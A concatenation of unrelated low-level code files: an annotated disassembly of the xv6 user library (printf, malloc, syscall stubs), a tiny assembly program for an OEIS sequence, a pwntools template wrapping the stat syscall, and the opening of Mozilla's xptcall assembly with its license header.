11d: 85 c0 test %eax,%eax
11f: 7e 17 jle 138 <gets+0x47>
break;
buf[i++] = c;
121: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
125: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
128: 3c 0a cmp $0xa,%al
12a: 0f 94 c2 sete %dl
12d: 3c 0d cmp $0xd,%al
12f: 0f 94 c0 sete %al
buf[i++] = c;
132: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
134: 08 c2 or %al,%dl
136: 74 ca je 102 <gets+0x11>
break;
}
buf[i] = '\0';
138: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
13c: 89 f8 mov %edi,%eax
13e: 8d 65 f4 lea -0xc(%ebp),%esp
141: 5b pop %ebx
142: 5e pop %esi
143: 5f pop %edi
144: 5d pop %ebp
145: c3 ret
00000146 <stat>:
int
stat(const char *n, struct stat *st)
{
146: 55 push %ebp
147: 89 e5 mov %esp,%ebp
149: 56 push %esi
14a: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
14b: 83 ec 08 sub $0x8,%esp
14e: 6a 00 push $0x0
150: ff 75 08 pushl 0x8(%ebp)
153: e8 d0 00 00 00 call 228 <open>
if(fd < 0)
158: 83 c4 10 add $0x10,%esp
15b: 85 c0 test %eax,%eax
15d: 78 24 js 183 <stat+0x3d>
15f: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
161: 83 ec 08 sub $0x8,%esp
164: ff 75 0c pushl 0xc(%ebp)
167: 50 push %eax
168: e8 d3 00 00 00 call 240 <fstat>
16d: 89 c6 mov %eax,%esi
close(fd);
16f: 89 1c 24 mov %ebx,(%esp)
172: e8 99 00 00 00 call 210 <close>
return r;
177: 83 c4 10 add $0x10,%esp
}
17a: 89 f0 mov %esi,%eax
17c: 8d 65 f8 lea -0x8(%ebp),%esp
17f: 5b pop %ebx
180: 5e pop %esi
181: 5d pop %ebp
182: c3 ret
return -1;
183: be ff ff ff ff mov $0xffffffff,%esi
188: eb f0 jmp 17a <stat+0x34>
0000018a <atoi>:
int
atoi(const char *s)
{
18a: 55 push %ebp
18b: 89 e5 mov %esp,%ebp
18d: 53 push %ebx
18e: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
191: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
196: eb 10 jmp 1a8 <atoi+0x1e>
n = n*10 + *s++ - '0';
198: 8d 1c 80 lea (%eax,%eax,4),%ebx
19b: 8d 04 1b lea (%ebx,%ebx,1),%eax
19e: 83 c1 01 add $0x1,%ecx
1a1: 0f be d2 movsbl %dl,%edx
1a4: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
1a8: 0f b6 11 movzbl (%ecx),%edx
1ab: 8d 5a d0 lea -0x30(%edx),%ebx
1ae: 80 fb 09 cmp $0x9,%bl
1b1: 76 e5 jbe 198 <atoi+0xe>
return n;
}
1b3: 5b pop %ebx
1b4: 5d pop %ebp
1b5: c3 ret
000001b6 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
1b6: 55 push %ebp
1b7: 89 e5 mov %esp,%ebp
1b9: 56 push %esi
1ba: 53 push %ebx
1bb: 8b 45 08 mov 0x8(%ebp),%eax
1be: 8b 5d 0c mov 0xc(%ebp),%ebx
1c1: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
1c4: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
1c6: eb 0d jmp 1d5 <memmove+0x1f>
*dst++ = *src++;
1c8: 0f b6 13 movzbl (%ebx),%edx
1cb: 88 11 mov %dl,(%ecx)
1cd: 8d 5b 01 lea 0x1(%ebx),%ebx
1d0: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
1d3: 89 f2 mov %esi,%edx
1d5: 8d 72 ff lea -0x1(%edx),%esi
1d8: 85 d2 test %edx,%edx
1da: 7f ec jg 1c8 <memmove+0x12>
return vdst;
}
1dc: 5b pop %ebx
1dd: 5e pop %esi
1de: 5d pop %ebp
1df: c3 ret
000001e0 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1e0: b8 01 00 00 00 mov $0x1,%eax
1e5: cd 40 int $0x40
1e7: c3 ret
000001e8 <exit>:
SYSCALL(exit)
1e8: b8 02 00 00 00 mov $0x2,%eax
1ed: cd 40 int $0x40
1ef: c3 ret
000001f0 <wait>:
SYSCALL(wait)
1f0: b8 03 00 00 00 mov $0x3,%eax
1f5: cd 40 int $0x40
1f7: c3 ret
000001f8 <pipe>:
SYSCALL(pipe)
1f8: b8 04 00 00 00 mov $0x4,%eax
1fd: cd 40 int $0x40
1ff: c3 ret
00000200 <read>:
SYSCALL(read)
200: b8 05 00 00 00 mov $0x5,%eax
205: cd 40 int $0x40
207: c3 ret
00000208 <write>:
SYSCALL(write)
208: b8 10 00 00 00 mov $0x10,%eax
20d: cd 40 int $0x40
20f: c3 ret
00000210 <close>:
SYSCALL(close)
210: b8 15 00 00 00 mov $0x15,%eax
215: cd 40 int $0x40
217: c3 ret
00000218 <kill>:
SYSCALL(kill)
218: b8 06 00 00 00 mov $0x6,%eax
21d: cd 40 int $0x40
21f: c3 ret
00000220 <exec>:
SYSCALL(exec)
220: b8 07 00 00 00 mov $0x7,%eax
225: cd 40 int $0x40
227: c3 ret
00000228 <open>:
SYSCALL(open)
228: b8 0f 00 00 00 mov $0xf,%eax
22d: cd 40 int $0x40
22f: c3 ret
00000230 <mknod>:
SYSCALL(mknod)
230: b8 11 00 00 00 mov $0x11,%eax
235: cd 40 int $0x40
237: c3 ret
00000238 <unlink>:
SYSCALL(unlink)
238: b8 12 00 00 00 mov $0x12,%eax
23d: cd 40 int $0x40
23f: c3 ret
00000240 <fstat>:
SYSCALL(fstat)
240: b8 08 00 00 00 mov $0x8,%eax
245: cd 40 int $0x40
247: c3 ret
00000248 <link>:
SYSCALL(link)
248: b8 13 00 00 00 mov $0x13,%eax
24d: cd 40 int $0x40
24f: c3 ret
00000250 <mkdir>:
SYSCALL(mkdir)
250: b8 14 00 00 00 mov $0x14,%eax
255: cd 40 int $0x40
257: c3 ret
00000258 <chdir>:
SYSCALL(chdir)
258: b8 09 00 00 00 mov $0x9,%eax
25d: cd 40 int $0x40
25f: c3 ret
00000260 <dup>:
SYSCALL(dup)
260: b8 0a 00 00 00 mov $0xa,%eax
265: cd 40 int $0x40
267: c3 ret
00000268 <getpid>:
SYSCALL(getpid)
268: b8 0b 00 00 00 mov $0xb,%eax
26d: cd 40 int $0x40
26f: c3 ret
00000270 <sbrk>:
SYSCALL(sbrk)
270: b8 0c 00 00 00 mov $0xc,%eax
275: cd 40 int $0x40
277: c3 ret
00000278 <sleep>:
SYSCALL(sleep)
278: b8 0d 00 00 00 mov $0xd,%eax
27d: cd 40 int $0x40
27f: c3 ret
00000280 <uptime>:
SYSCALL(uptime)
280: b8 0e 00 00 00 mov $0xe,%eax
285: cd 40 int $0x40
287: c3 ret
00000288 <setpri>:
SYSCALL(setpri)
288: b8 16 00 00 00 mov $0x16,%eax
28d: cd 40 int $0x40
28f: c3 ret
00000290 <getpri>:
SYSCALL(getpri)
290: b8 17 00 00 00 mov $0x17,%eax
295: cd 40 int $0x40
297: c3 ret
00000298 <fork2>:
SYSCALL(fork2)
298: b8 18 00 00 00 mov $0x18,%eax
29d: cd 40 int $0x40
29f: c3 ret
000002a0 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 83 ec 1c sub $0x1c,%esp
2a6: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
2a9: 6a 01 push $0x1
2ab: 8d 55 f4 lea -0xc(%ebp),%edx
2ae: 52 push %edx
2af: 50 push %eax
2b0: e8 53 ff ff ff call 208 <write>
}
2b5: 83 c4 10 add $0x10,%esp
2b8: c9 leave
2b9: c3 ret
000002ba <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
2ba: 55 push %ebp
2bb: 89 e5 mov %esp,%ebp
2bd: 57 push %edi
2be: 56 push %esi
2bf: 53 push %ebx
2c0: 83 ec 2c sub $0x2c,%esp
2c3: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
2c5: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
2c9: 0f 95 c3 setne %bl
2cc: 89 d0 mov %edx,%eax
2ce: c1 e8 1f shr $0x1f,%eax
2d1: 84 c3 test %al,%bl
2d3: 74 10 je 2e5 <printint+0x2b>
neg = 1;
x = -xx;
2d5: f7 da neg %edx
neg = 1;
2d7: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
2de: be 00 00 00 00 mov $0x0,%esi
2e3: eb 0b jmp 2f0 <printint+0x36>
neg = 0;
2e5: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
2ec: eb f0 jmp 2de <printint+0x24>
do{
buf[i++] = digits[x % base];
2ee: 89 c6 mov %eax,%esi
2f0: 89 d0 mov %edx,%eax
2f2: ba 00 00 00 00 mov $0x0,%edx
2f7: f7 f1 div %ecx
2f9: 89 c3 mov %eax,%ebx
2fb: 8d 46 01 lea 0x1(%esi),%eax
2fe: 0f b6 92 10 06 00 00 movzbl 0x610(%edx),%edx
305: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
309: 89 da mov %ebx,%edx
30b: 85 db test %ebx,%ebx
30d: 75 df jne 2ee <printint+0x34>
30f: 89 c3 mov %eax,%ebx
if(neg)
311: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
315: 74 16 je 32d <printint+0x73>
buf[i++] = '-';
317: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
31c: 8d 5e 02 lea 0x2(%esi),%ebx
31f: eb 0c jmp 32d <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
321: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
326: 89 f8 mov %edi,%eax
328: e8 73 ff ff ff call 2a0 <putc>
while(--i >= 0)
32d: 83 eb 01 sub $0x1,%ebx
330: 79 ef jns 321 <printint+0x67>
}
332: 83 c4 2c add $0x2c,%esp
335: 5b pop %ebx
336: 5e pop %esi
337: 5f pop %edi
338: 5d pop %ebp
339: c3 ret
0000033a <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
33a: 55 push %ebp
33b: 89 e5 mov %esp,%ebp
33d: 57 push %edi
33e: 56 push %esi
33f: 53 push %ebx
340: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
343: 8d 45 10 lea 0x10(%ebp),%eax
346: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
349: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
34e: bb 00 00 00 00 mov $0x0,%ebx
353: eb 14 jmp 369 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
355: 89 fa mov %edi,%edx
357: 8b 45 08 mov 0x8(%ebp),%eax
35a: e8 41 ff ff ff call 2a0 <putc>
35f: eb 05 jmp 366 <printf+0x2c>
}
} else if(state == '%'){
361: 83 fe 25 cmp $0x25,%esi
364: 74 25 je 38b <printf+0x51>
for(i = 0; fmt[i]; i++){
366: 83 c3 01 add $0x1,%ebx
369: 8b 45 0c mov 0xc(%ebp),%eax
36c: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
370: 84 c0 test %al,%al
372: 0f 84 23 01 00 00 je 49b <printf+0x161>
c = fmt[i] & 0xff;
378: 0f be f8 movsbl %al,%edi
37b: 0f b6 c0 movzbl %al,%eax
if(state == 0){
37e: 85 f6 test %esi,%esi
380: 75 df jne 361 <printf+0x27>
if(c == '%'){
382: 83 f8 25 cmp $0x25,%eax
385: 75 ce jne 355 <printf+0x1b>
state = '%';
387: 89 c6 mov %eax,%esi
389: eb db jmp 366 <printf+0x2c>
if(c == 'd'){
38b: 83 f8 64 cmp $0x64,%eax
38e: 74 49 je 3d9 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
390: 83 f8 78 cmp $0x78,%eax
393: 0f 94 c1 sete %cl
396: 83 f8 70 cmp $0x70,%eax
399: 0f 94 c2 sete %dl
39c: 08 d1 or %dl,%cl
39e: 75 63 jne 403 <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3a0: 83 f8 73 cmp $0x73,%eax
3a3: 0f 84 84 00 00 00 je 42d <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3a9: 83 f8 63 cmp $0x63,%eax
3ac: 0f 84 b7 00 00 00 je 469 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3b2: 83 f8 25 cmp $0x25,%eax
3b5: 0f 84 cc 00 00 00 je 487 <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
3bb: ba 25 00 00 00 mov $0x25,%edx
3c0: 8b 45 08 mov 0x8(%ebp),%eax
3c3: e8 d8 fe ff ff call 2a0 <putc>
putc(fd, c);
3c8: 89 fa mov %edi,%edx
3ca: 8b 45 08 mov 0x8(%ebp),%eax
3cd: e8 ce fe ff ff call 2a0 <putc>
}
state = 0;
3d2: be 00 00 00 00 mov $0x0,%esi
3d7: eb 8d jmp 366 <printf+0x2c>
printint(fd, *ap, 10, 1);
3d9: 8b 7d e4 mov -0x1c(%ebp),%edi
3dc: 8b 17 mov (%edi),%edx
3de: 83 ec 0c sub $0xc,%esp
3e1: 6a 01 push $0x1
3e3: b9 0a 00 00 00 mov $0xa,%ecx
3e8: 8b 45 08 mov 0x8(%ebp),%eax
3eb: e8 ca fe ff ff call 2ba <printint>
ap++;
3f0: 83 c7 04 add $0x4,%edi
3f3: 89 7d e4 mov %edi,-0x1c(%ebp)
3f6: 83 c4 10 add $0x10,%esp
state = 0;
3f9: be 00 00 00 00 mov $0x0,%esi
3fe: e9 63 ff ff ff jmp 366 <printf+0x2c>
printint(fd, *ap, 16, 0);
403: 8b 7d e4 mov -0x1c(%ebp),%edi
406: 8b 17 mov (%edi),%edx
408: 83 ec 0c sub $0xc,%esp
40b: 6a 00 push $0x0
40d: b9 10 00 00 00 mov $0x10,%ecx
412: 8b 45 08 mov 0x8(%ebp),%eax
415: e8 a0 fe ff ff call 2ba <printint>
ap++;
41a: 83 c7 04 add $0x4,%edi
41d: 89 7d e4 mov %edi,-0x1c(%ebp)
420: 83 c4 10 add $0x10,%esp
state = 0;
423: be 00 00 00 00 mov $0x0,%esi
428: e9 39 ff ff ff jmp 366 <printf+0x2c>
s = (char*)*ap;
42d: 8b 45 e4 mov -0x1c(%ebp),%eax
430: 8b 30 mov (%eax),%esi
ap++;
432: 83 c0 04 add $0x4,%eax
435: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
438: 85 f6 test %esi,%esi
43a: 75 28 jne 464 <printf+0x12a>
s = "(null)";
43c: be 08 06 00 00 mov $0x608,%esi
441: 8b 7d 08 mov 0x8(%ebp),%edi
444: eb 0d jmp 453 <printf+0x119>
putc(fd, *s);
446: 0f be d2 movsbl %dl,%edx
449: 89 f8 mov %edi,%eax
44b: e8 50 fe ff ff call 2a0 <putc>
s++;
450: 83 c6 01 add $0x1,%esi
while(*s != 0){
453: 0f b6 16 movzbl (%esi),%edx
456: 84 d2 test %dl,%dl
458: 75 ec jne 446 <printf+0x10c>
state = 0;
45a: be 00 00 00 00 mov $0x0,%esi
45f: e9 02 ff ff ff jmp 366 <printf+0x2c>
464: 8b 7d 08 mov 0x8(%ebp),%edi
467: eb ea jmp 453 <printf+0x119>
putc(fd, *ap);
469: 8b 7d e4 mov -0x1c(%ebp),%edi
46c: 0f be 17 movsbl (%edi),%edx
46f: 8b 45 08 mov 0x8(%ebp),%eax
472: e8 29 fe ff ff call 2a0 <putc>
ap++;
477: 83 c7 04 add $0x4,%edi
47a: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
47d: be 00 00 00 00 mov $0x0,%esi
482: e9 df fe ff ff jmp 366 <printf+0x2c>
putc(fd, c);
487: 89 fa mov %edi,%edx
489: 8b 45 08 mov 0x8(%ebp),%eax
48c: e8 0f fe ff ff call 2a0 <putc>
state = 0;
491: be 00 00 00 00 mov $0x0,%esi
496: e9 cb fe ff ff jmp 366 <printf+0x2c>
}
}
}
49b: 8d 65 f4 lea -0xc(%ebp),%esp
49e: 5b pop %ebx
49f: 5e pop %esi
4a0: 5f pop %edi
4a1: 5d pop %ebp
4a2: c3 ret
000004a3 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
4a3: 55 push %ebp
4a4: 89 e5 mov %esp,%ebp
4a6: 57 push %edi
4a7: 56 push %esi
4a8: 53 push %ebx
4a9: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
4ac: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
4af: a1 b4 08 00 00 mov 0x8b4,%eax
4b4: eb 02 jmp 4b8 <free+0x15>
4b6: 89 d0 mov %edx,%eax
4b8: 39 c8 cmp %ecx,%eax
4ba: 73 04 jae 4c0 <free+0x1d>
4bc: 39 08 cmp %ecx,(%eax)
4be: 77 12 ja 4d2 <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
4c0: 8b 10 mov (%eax),%edx
4c2: 39 c2 cmp %eax,%edx
4c4: 77 f0 ja 4b6 <free+0x13>
4c6: 39 c8 cmp %ecx,%eax
4c8: 72 08 jb 4d2 <free+0x2f>
4ca: 39 ca cmp %ecx,%edx
4cc: 77 04 ja 4d2 <free+0x2f>
4ce: 89 d0 mov %edx,%eax
4d0: eb e6 jmp 4b8 <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
4d2: 8b 73 fc mov -0x4(%ebx),%esi
4d5: 8d 3c f1 lea (%ecx,%esi,8),%edi
4d8: 8b 10 mov (%eax),%edx
4da: 39 d7 cmp %edx,%edi
4dc: 74 19 je 4f7 <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
4de: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
4e1: 8b 50 04 mov 0x4(%eax),%edx
4e4: 8d 34 d0 lea (%eax,%edx,8),%esi
4e7: 39 ce cmp %ecx,%esi
4e9: 74 1b je 506 <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
4eb: 89 08 mov %ecx,(%eax)
freep = p;
4ed: a3 b4 08 00 00 mov %eax,0x8b4
}
4f2: 5b pop %ebx
4f3: 5e pop %esi
4f4: 5f pop %edi
4f5: 5d pop %ebp
4f6: c3 ret
bp->s.size += p->s.ptr->s.size;
4f7: 03 72 04 add 0x4(%edx),%esi
4fa: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
4fd: 8b 10 mov (%eax),%edx
4ff: 8b 12 mov (%edx),%edx
501: 89 53 f8 mov %edx,-0x8(%ebx)
504: eb db jmp 4e1 <free+0x3e>
p->s.size += bp->s.size;
506: 03 53 fc add -0x4(%ebx),%edx
509: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
50c: 8b 53 f8 mov -0x8(%ebx),%edx
50f: 89 10 mov %edx,(%eax)
511: eb da jmp 4ed <free+0x4a>
00000513 <morecore>:
static Header*
morecore(uint nu)
{
513: 55 push %ebp
514: 89 e5 mov %esp,%ebp
516: 53 push %ebx
517: 83 ec 04 sub $0x4,%esp
51a: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
51c: 3d ff 0f 00 00 cmp $0xfff,%eax
521: 77 05 ja 528 <morecore+0x15>
nu = 4096;
523: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
528: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
52f: 83 ec 0c sub $0xc,%esp
532: 50 push %eax
533: e8 38 fd ff ff call 270 <sbrk>
if(p == (char*)-1)
538: 83 c4 10 add $0x10,%esp
53b: 83 f8 ff cmp $0xffffffff,%eax
53e: 74 1c je 55c <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
540: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
543: 83 c0 08 add $0x8,%eax
546: 83 ec 0c sub $0xc,%esp
549: 50 push %eax
54a: e8 54 ff ff ff call 4a3 <free>
return freep;
54f: a1 b4 08 00 00 mov 0x8b4,%eax
554: 83 c4 10 add $0x10,%esp
}
557: 8b 5d fc mov -0x4(%ebp),%ebx
55a: c9 leave
55b: c3 ret
return 0;
55c: b8 00 00 00 00 mov $0x0,%eax
561: eb f4 jmp 557 <morecore+0x44>
00000563 <malloc>:
void*
malloc(uint nbytes)
{
563: 55 push %ebp
564: 89 e5 mov %esp,%ebp
566: 53 push %ebx
567: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
56a: 8b 45 08 mov 0x8(%ebp),%eax
56d: 8d 58 07 lea 0x7(%eax),%ebx
570: c1 eb 03 shr $0x3,%ebx
573: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
576: 8b 0d b4 08 00 00 mov 0x8b4,%ecx
57c: 85 c9 test %ecx,%ecx
57e: 74 04 je 584 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
580: 8b 01 mov (%ecx),%eax
582: eb 4d jmp 5d1 <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
584: c7 05 b4 08 00 00 b8 movl $0x8b8,0x8b4
58b: 08 00 00
58e: c7 05 b8 08 00 00 b8 movl $0x8b8,0x8b8
595: 08 00 00
base.s.size = 0;
598: c7 05 bc 08 00 00 00 movl $0x0,0x8bc
59f: 00 00 00
base.s.ptr = freep = prevp = &base;
5a2: b9 b8 08 00 00 mov $0x8b8,%ecx
5a7: eb d7 jmp 580 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
5a9: 39 da cmp %ebx,%edx
5ab: 74 1a je 5c7 <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
5ad: 29 da sub %ebx,%edx
5af: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
5b2: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
5b5: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
5b8: 89 0d b4 08 00 00 mov %ecx,0x8b4
return (void*)(p + 1);
5be: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
5c1: 83 c4 04 add $0x4,%esp
5c4: 5b pop %ebx
5c5: 5d pop %ebp
5c6: c3 ret
prevp->s.ptr = p->s.ptr;
5c7: 8b 10 mov (%eax),%edx
5c9: 89 11 mov %edx,(%ecx)
5cb: eb eb jmp 5b8 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
5cd: 89 c1 mov %eax,%ecx
5cf: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
5d1: 8b 50 04 mov 0x4(%eax),%edx
5d4: 39 da cmp %ebx,%edx
5d6: 73 d1 jae 5a9 <malloc+0x46>
if(p == freep)
5d8: 39 05 b4 08 00 00 cmp %eax,0x8b4
5de: 75 ed jne 5cd <malloc+0x6a>
if((p = morecore(nunits)) == 0)
5e0: 89 d8 mov %ebx,%eax
5e2: e8 2c ff ff ff call 513 <morecore>
5e7: 85 c0 test %eax,%eax
5e9: 75 e2 jne 5cd <malloc+0x6a>
return 0;
5eb: b8 00 00 00 00 mov $0x0,%eax
5f0: eb cf jmp 5c1 <malloc+0x5e>
|
; A207165: Number of n X 4 0..1 arrays avoiding 0 0 0 and 1 0 1 horizontally and 0 0 1 and 1 0 1 vertically.
; 9,81,261,603,1161,1989,3141,4671,6633,9081,12069,15651,19881,24813,30501,36999,44361,52641,61893,72171,83529,96021,109701,124623,140841,158409,177381,197811,219753,243261,268389,295191,323721,354033,386181
mov $1,$0
add $1,1
pow $1,3
add $1,$0
mul $1,9
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="file, buf"/>
<%docstring>
Invokes the syscall stat. See 'man 2 stat' for more information.
Arguments:
file(char): file
buf(stat): buf
</%docstring>
${syscall('SYS_stat', file, buf)}
|
COMMENT | -*- Mode: asm; tab-width: 8; c-basic-offset: 4 -*-
***** BEGIN LICENSE BLOCK *****
Version: MPL 1.1/GPL 2.0/LGPL 2.1
The contents of this file are subject to the Mozilla Public License Version
1.1 (the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
for the specific language governing rights and limitations under the
License.
The Original Code is mozilla.org Code.
The Initial Developer of the Original Code is
Netscape Communications Corporation.
Portions created by the Initial Developer are Copyright (C) 2001
the Initial Developer. All Rights Reserved.
Contributor(s):
Henry Sobotka <sobotka@axess.com>
Alternatively, the contents of this file may be used under the terms of
either of the GNU General Public License Version 2 or later (the "GPL"),
or the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
in which case the provisions of the GPL or the LGPL are applicable instead
of those above. If you wish to allow use of your version of this file only
under the terms of either the GPL or the LGPL, and not to allow others to
use your version of this file under the terms of the MPL, indicate your
decision by deleting the provisions above and replace them with the notice
and other provisions required by the GPL or the LGPL. If you do not delete
the provisions above, a recipient may use your version of this file under
the terms of any one of the MPL, the GPL or the LGPL.
***** END LICENSE BLOCK *****
Version 1.0 (the "NPL"); you may not use this file except in
compliance with the NPL. You may obtain a copy of the NPL at
http://www.mozilla.org/NPL/
Software distributed under the NPL is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the NPL
for the specific language governing rights and limitations under the
NPL.
The Initial Developer of this code under the NPL is Netscape
Communications Corporation. Portions created by Netscape are
Copyright (C) 1999 Netscape Communications Corporation. All Rights
Reserved.
Contributor: Henry Sobotka <sobotka@axess.com>
This Original Code has been modified by IBM Corporation.
Modifications made by IBM described herein are
Copyright (c) International Business Machines
Corporation, 2000
Modifications to Mozilla code or documentation
identified per MPL Section 3.3
Date Modified by Description of modification
03/23/2000 IBM Corp. Various fixes for parameter passing and adjusting the 'this'
pointer for multiply inherited objects.
xptcall_vacpp.asm: ALP assembler procedures for VAC++ build of xptcall
We use essentially the same algorithm as the other platforms, except
Optlink as calling convention. This means loading the three leftmost
conforming (<= 4 bytes, enum or pointer) parameters into eax, edx and ecx,
and the four leftmost float types atop the FP stack. As "this" goes into
eax, we only have to load edx and ecx (if there are two parameters).
Nonconforming parameters go on the stack. As the right-size space has
to be allocated at the proper place (order of parameters) in the stack
for each conforming parameter, we simply copy them all. |
.486P
.MODEL FLAT, OPTLINK
.STACK
.CODE
t_Int4Bytes equ 001004h
t_Int8Bytes equ 001008h
t_Float4Bytes equ 000104h
t_Float8Bytes equ 000108h
TypesArray dd t_Int4Bytes ; nsXPTType::T_I8
dd t_Int4Bytes ; nsXPTType::T_I16
dd t_Int4Bytes ; nsXPTType::T_I32
dd t_Int8Bytes ; nsXPTType::T_I64 (***)
dd t_Int4Bytes ; nsXPTType::T_U8
dd t_Int4Bytes ; nsXPTType::T_U16
dd t_Int4Bytes ; nsXPTType::T_U32
dd t_Int8Bytes ; nsXPTType::T_U64 (***)
dd t_Float4Bytes ; nsXPTType::T_FLOAT (***)
dd t_Float8Bytes ; nsXPTType::T_DOUBLE (***)
dd t_Int4Bytes ; nsXPTType::T_BOOL
dd t_Int4Bytes ; nsXPTType::T_CHAR
dd t_Int4Bytes ; nsXPTType::T_WCHAR
dd t_Int4Bytes ; TD_VOID
dd t_Int4Bytes ; TD_PNSIID
dd t_Int4Bytes ; TD_DOMSTRING
dd t_Int4Bytes ; TD_PSTRING
dd t_Int4Bytes ; TD_PWSTRING
dd t_Int4Bytes ; TD_INTERFACE_TYPE
dd t_Int4Bytes ; TD_INTERFACE_IS_TYPE
dd t_Int4Bytes ; TD_ARRAY
dd t_Int4Bytes ; TD_PSTRING_SIZE_IS
dd t_Int4Bytes ; TD_PWSTRING_SIZE_IS
dd t_Int4Bytes ; TD_UTF8STRING
dd t_Int4Bytes ; TD_CSTRING
dd t_Int4Bytes ; TD_ASTRING
; All other values default to 4 byte int/ptr
; Optlink puts 'that' in eax, 'index' in edx, 'paramcount' in ecx
; 'params' is on the stack...
XPTC_InvokeByIndex PROC OPTLINK EXPORT USES ebx edi esi, that, index, paramcount, params
LOCAL cparams:dword, fparams:dword, reg_edx:dword, reg_ecx:dword, count:dword
mov dword ptr [that], eax ; that
mov dword ptr [index], edx ; index
mov dword ptr [paramcount], ecx ; paramcount
mov dword ptr [count], ecx ; save a copy of count
; #define FOURBYTES 4
; #define EIGHTBYTES 8
; #define FLOAT 0x00000100
; #define INT 0x00001000
; #define LENGTH 0x000000ff
;
;types[ ] = {
; FOURBYES | INT, // int/uint/ptr/etc
